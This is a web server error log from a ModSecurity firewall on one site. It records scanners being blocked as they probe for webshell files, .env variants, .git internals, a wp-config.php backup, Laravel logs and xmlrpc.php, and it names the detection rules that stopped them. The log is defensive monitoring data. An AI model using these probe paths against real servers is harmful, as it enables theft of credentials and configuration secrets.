[Thu May 14 04:52:52.508907 2026] [:error] [pid 11582:tid 11637] [client 52.139.38.158:59761] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xfile25.php"] [unique_id "agTkpPuw2cmFDpGcKhDLyQAAAEw"]
[Thu May 14 04:52:53.112807 2026] [:error] [pid 11588:tid 11674] [client 52.139.38.158:59753] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxml.php"] [unique_id "agTkpdUr21rOixkeGKb5cwAAAJY"]
[Thu May 14 04:52:54.006956 2026] [:error] [pid 11582:tid 11627] [client 52.139.38.158:47798] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxml.php"] [unique_id "agTkpvuw2cmFDpGcKhDLywAAAEI"]
[Thu May 14 04:52:54.615718 2026] [:error] [pid 11690:tid 11712] [client 52.139.38.158:59440] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxml.php"] [unique_id "agTkpinxWuLN8Hptw8lf3wAAAM0"]
[Thu May 14 04:52:55.255709 2026] [:error] [pid 11690:tid 11713] [client 52.139.38.158:59781] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxml.php"] [unique_id "agTkpynxWuLN8Hptw8lf4AAAAM4"]
[Thu May 14 04:52:55.954995 2026] [:error] [pid 11690:tid 11715] [client 52.139.38.158:41563] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "agTkpynxWuLN8Hptw8lf4gAAANA"]
[Thu May 14 04:52:56.852395 2026] [:error] [pid 11588:tid 11669] [client 52.139.38.158:47819] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "agTkqNUr21rOixkeGKb5fwAAAJE"]
[Thu May 14 04:52:58.141768 2026] [:error] [pid 11588:tid 11676] [client 52.139.38.158:47761] File does not exist: /usr/local/apache/htdocs/suspended-page/xstelth.php
[Thu May 14 04:52:58.383178 2026] [:error] [pid 11588:tid 11667] [client 52.139.38.158:47761] File does not exist: /usr/local/apache/htdocs/suspended-page/min.php
[Thu May 14 04:52:58.662361 2026] [:error] [pid 11588:tid 11664] [client 52.139.38.158:47761] File does not exist: /usr/local/apache/htdocs/suspended-page/geforce.php
[Thu May 14 04:52:58.883448 2026] [:error] [pid 11588:tid 11674] [client 52.139.38.158:47761] File does not exist: /usr/local/apache/htdocs/suspended-page/moshou.php
[Thu May 14 07:03:02.135603 2026] [:error] [pid 11588:tid 11674] [client 185.213.174.18:48998] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/backend/.env"] [unique_id "agUDJtUr21rOixkeGKYXOwAAAJY"]
[Thu May 14 07:03:02.137123 2026] [:error] [pid 63033:tid 63043] [client 185.213.174.18:49000] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/.env"] [unique_id "agUDJlMY49UWn5BpqVZyXQAAAQg"]
[Thu May 14 07:03:02.137972 2026] [:error] [pid 63033:tid 63040] [client 185.213.174.18:48930] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.old"] [unique_id "agUDJlMY49UWn5BpqVZyXgAAAQU"]
[Thu May 14 07:03:02.139226 2026] [:error] [pid 11588:tid 11652] [client 185.213.174.18:48900] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.development"] [unique_id "agUDJtUr21rOixkeGKYXPwAAAIA"]
[Thu May 14 07:03:02.140878 2026] [:error] [pid 63033:tid 63037] [client 185.213.174.18:48872] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "agUDJlMY49UWn5BpqVZyXwAAAQI"]
[Thu May 14 07:03:02.142137 2026] [:error] [pid 11690:tid 11699] [client 185.213.174.18:49016] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/public/.env"] [unique_id "agUDJinxWuLN8Hptw8mGyAAAAMA"]
[Thu May 14 07:03:02.143279 2026] [:error] [pid 11588:tid 11664] [client 185.213.174.18:48912] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.backup"] [unique_id "agUDJtUr21rOixkeGKYXQAAAAIw"]
[Thu May 14 07:03:02.143410 2026] [:error] [pid 11588:tid 11668] [client 185.213.174.18:48978] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/api/.env"] [unique_id "agUDJtUr21rOixkeGKYXQQAAAJA"]
[Thu May 14 07:03:02.143598 2026] [:error] [pid 47673:tid 47698] [client 185.213.174.18:48956] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.test"] [unique_id "agUDJvCGe4cIn3sh5k29ogAAAVc"]
[Thu May 14 07:03:02.143651 2026] [:error] [pid 47673:tid 47682] [client 185.213.174.18:48880] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.example"] [unique_id "agUDJvCGe4cIn3sh5k29owAAAUc"]
[Thu May 14 07:03:02.144074 2026] [:error] [pid 63033:tid 63045] [client 185.213.174.18:48882] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "agUDJlMY49UWn5BpqVZyYQAAAQo"]
[Thu May 14 07:03:02.144136 2026] [:error] [pid 47673:tid 47681] [client 185.213.174.18:48944] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.staging"] [unique_id "agUDJvCGe4cIn3sh5k29pAAAAUY"]
[Thu May 14 07:03:02.144326 2026] [:error] [pid 11690:tid 11723] [client 185.213.174.18:48988] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/admin/.env"] [unique_id "agUDJinxWuLN8Hptw8mGyQAAANg"]
[Thu May 14 07:03:02.144731 2026] [:error] [pid 63033:tid 63038] [client 185.213.174.18:48926] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.bak"] [unique_id "agUDJlMY49UWn5BpqVZyYgAAAQM"]
[Thu May 14 07:03:02.146992 2026] [:error] [pid 11588:tid 11657] [client 185.213.174.18:48786] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agUDJtUr21rOixkeGKYXQwAAAIU"]
[Thu May 14 07:03:02.147164 2026] [:error] [pid 47673:tid 47695] [client 185.213.174.18:48888] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "agUDJvCGe4cIn3sh5k29pQAAAVQ"]
[Thu May 14 07:03:02.148192 2026] [:error] [pid 11588:tid 11658] [client 185.213.174.18:48822] [client 185.213.174.18] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/storage/logs/laravel.log"] [unique_id "agUDJtUr21rOixkeGKYXRAAAAIY"]
[Thu May 14 10:13:05.523567 2026] [:error] [pid 47721:tid 47737] [client 78.101.184.32:6606] [client 78.101.184.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.101.184.32, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agUvsXEmh7_G0hfOa6tV0wAAAY4"]
[Thu May 14 10:13:05.529064 2026] [:error] [pid 47721:tid 47737] [client 78.101.184.32:6606] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu May 14 14:27:52.357605 2026] [:error] [pid 47721:tid 47725] [client 84.233.195.151:52899] [client 84.233.195.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "agVraHEmh7_G0hfOa6vJlwAAAYI"]
[Fri May 15 03:04:54.519821 2026] [:error] [pid 11588:tid 11657] [client 52.190.141.32:38813] [client 52.190.141.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.190.141.32, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp/xmlrpc.php"] [unique_id "agYc1tUr21rOixkeGKbfgwAAAIU"]
[Fri May 15 05:07:36.923341 2026] [:error] [pid 50531:tid 50551] [client 158.173.74.28:27671] [client 158.173.74.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-config.php.bak"] [unique_id "agY5mB3WbFwE6voqGzqUVAAAARI"]
[Fri May 15 06:00:30.792073 2026] [:error] [pid 1188:tid 1204] [client 45.177.223.129:6073] [client 45.177.223.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.177.223.129, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agZF_tY68iW8yuNkNzPNJAAAAAc"]
[Fri May 15 06:00:30.797299 2026] [:error] [pid 1188:tid 1204] [client 45.177.223.129:6073] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri May 15 08:12:50.124806 2026] [:error] [pid 1190:tid 1274] [client 34.81.149.223:55888] [client 34.81.149.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agZlAtqiXrD7hne4gFavWwAAAJY"]
[Fri May 15 09:24:00.204693 2026] [:error] [pid 1189:tid 1246] [client 34.32.97.210:44134] [client 34.32.97.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agZ1sAe36qIGegR4kcl6swAAAFU"]
[Fri May 15 10:04:22.331832 2026] [:error] [pid 1189:tid 1238] [client 35.246.37.254:51324] [client 35.246.37.254] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agZ_Jge36qIGegR4kcmCDgAAAE0"]
[Fri May 15 11:23:38.521845 2026] [:error] [pid 1189:tid 1237] [client 34.130.192.100:41882] [client 34.130.192.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agaRuge36qIGegR4kcmU_QAAAEw"]
[Fri May 15 11:25:00.047289 2026] [:error] [pid 51234:tid 51250] [client 208.84.100.208:24030] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "agaSDN72N9CbeiqcqgPyhwAAAU4"]
[Fri May 15 11:25:00.119562 2026] [:error] [pid 50531:tid 50533] [client 208.84.100.208:50412] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/backend/.env"] [unique_id "agaSDB3WbFwE6voqGzrvKgAAAQA"]
[Fri May 15 11:25:00.120119 2026] [:error] [pid 50531:tid 50553] [client 208.84.100.208:50408] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/api/.env"] [unique_id "agaSDB3WbFwE6voqGzrvKwAAARQ"]
[Fri May 15 11:25:00.120212 2026] [:error] [pid 50531:tid 50534] [client 208.84.100.208:50392] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/.env"] [unique_id "agaSDB3WbFwE6voqGzrvLAAAAQE"]
[Fri May 15 11:25:00.120541 2026] [:error] [pid 50531:tid 50549] [client 208.84.100.208:50390] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "agaSDB3WbFwE6voqGzrvLQAAARA"]
[Fri May 15 11:25:00.121150 2026] [:error] [pid 51234:tid 51252] [client 208.84.100.208:50376] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "agaSDN72N9CbeiqcqgPyiAAAAVA"]
[Fri May 15 11:25:02.008150 2026] [:error] [pid 50531:tid 50551] [client 208.84.100.208:50434] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/HEAD"] [unique_id "agaSDh3WbFwE6voqGzrvNwAAARI"]
[Fri May 15 11:25:02.008472 2026] [:error] [pid 50531:tid 50541] [client 208.84.100.208:50422] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agaSDh3WbFwE6voqGzrvOAAAAQg"]
[Fri May 15 11:25:02.008569 2026] [:error] [pid 50531:tid 50548] [client 208.84.100.208:50414] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/FETCH_HEAD"] [unique_id "agaSDh3WbFwE6voqGzrvOQAAAQ8"]
[Fri May 15 11:25:02.788529 2026] [:error] [pid 50531:tid 50556] [client 208.84.100.208:50528] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.save"] [unique_id "agaSDh3WbFwE6voqGzrvPQAAARc"]
[Fri May 15 11:25:02.788994 2026] [:error] [pid 50531:tid 50554] [client 208.84.100.208:50526] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.backup"] [unique_id "agaSDh3WbFwE6voqGzrvPgAAARU"]
[Fri May 15 11:25:02.789495 2026] [:error] [pid 51234:tid 51243] [client 208.84.100.208:50504] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.bak"] [unique_id "agaSDt72N9CbeiqcqgPyiQAAAUc"]
[Fri May 15 11:25:02.789627 2026] [:error] [pid 50531:tid 50540] [client 208.84.100.208:50510] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.old"] [unique_id "agaSDh3WbFwE6voqGzrvPwAAAQc"]
[Fri May 15 11:25:02.789694 2026] [:error] [pid 50531:tid 50536] [client 208.84.100.208:50496] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/logs/HEAD"] [unique_id "agaSDh3WbFwE6voqGzrvQAAAAQM"]
[Fri May 15 11:25:02.790036 2026] [:error] [pid 50531:tid 50537] [client 208.84.100.208:50488] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/refs/heads/master"] [unique_id "agaSDh3WbFwE6voqGzrvQQAAAQQ"]
[Fri May 15 11:25:02.790429 2026] [:error] [pid 1189:tid 1245] [client 208.84.100.208:50486] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/refs/heads/main"] [unique_id "agaSDge36qIGegR4kcmVQQAAAFQ"]
[Fri May 15 11:25:02.854203 2026] [:error] [pid 51234:tid 51236] [client 208.84.100.208:50706] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production.orig"] [unique_id "agaSDt72N9CbeiqcqgPyigAAAUA"]
[Fri May 15 11:25:02.854448 2026] [:error] [pid 1189:tid 1243] [client 208.84.100.208:50698] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production.swp"] [unique_id "agaSDge36qIGegR4kcmVQgAAAFI"]
[Fri May 15 11:25:02.855641 2026] [:error] [pid 50531:tid 50547] [client 208.84.100.208:50686] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production~"] [unique_id "agaSDh3WbFwE6voqGzrvQgAAAQ4"]
[Fri May 15 11:25:02.855804 2026] [:error] [pid 1189:tid 1232] [client 208.84.100.208:50674] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production.backup"] [unique_id "agaSDge36qIGegR4kcmVQwAAAEc"]
[Fri May 15 11:25:02.855961 2026] [:error] [pid 1189:tid 1226] [client 208.84.100.208:50660] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production.old"] [unique_id "agaSDge36qIGegR4kcmVRAAAAEE"]
[Fri May 15 11:25:02.856421 2026] [:error] [pid 50531:tid 50547] [client 208.84.100.208:50682] [client 208.84.100.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production.save"] [unique_id "agaSDh3WbFwE6voqGzrvQwAAAQ4"]
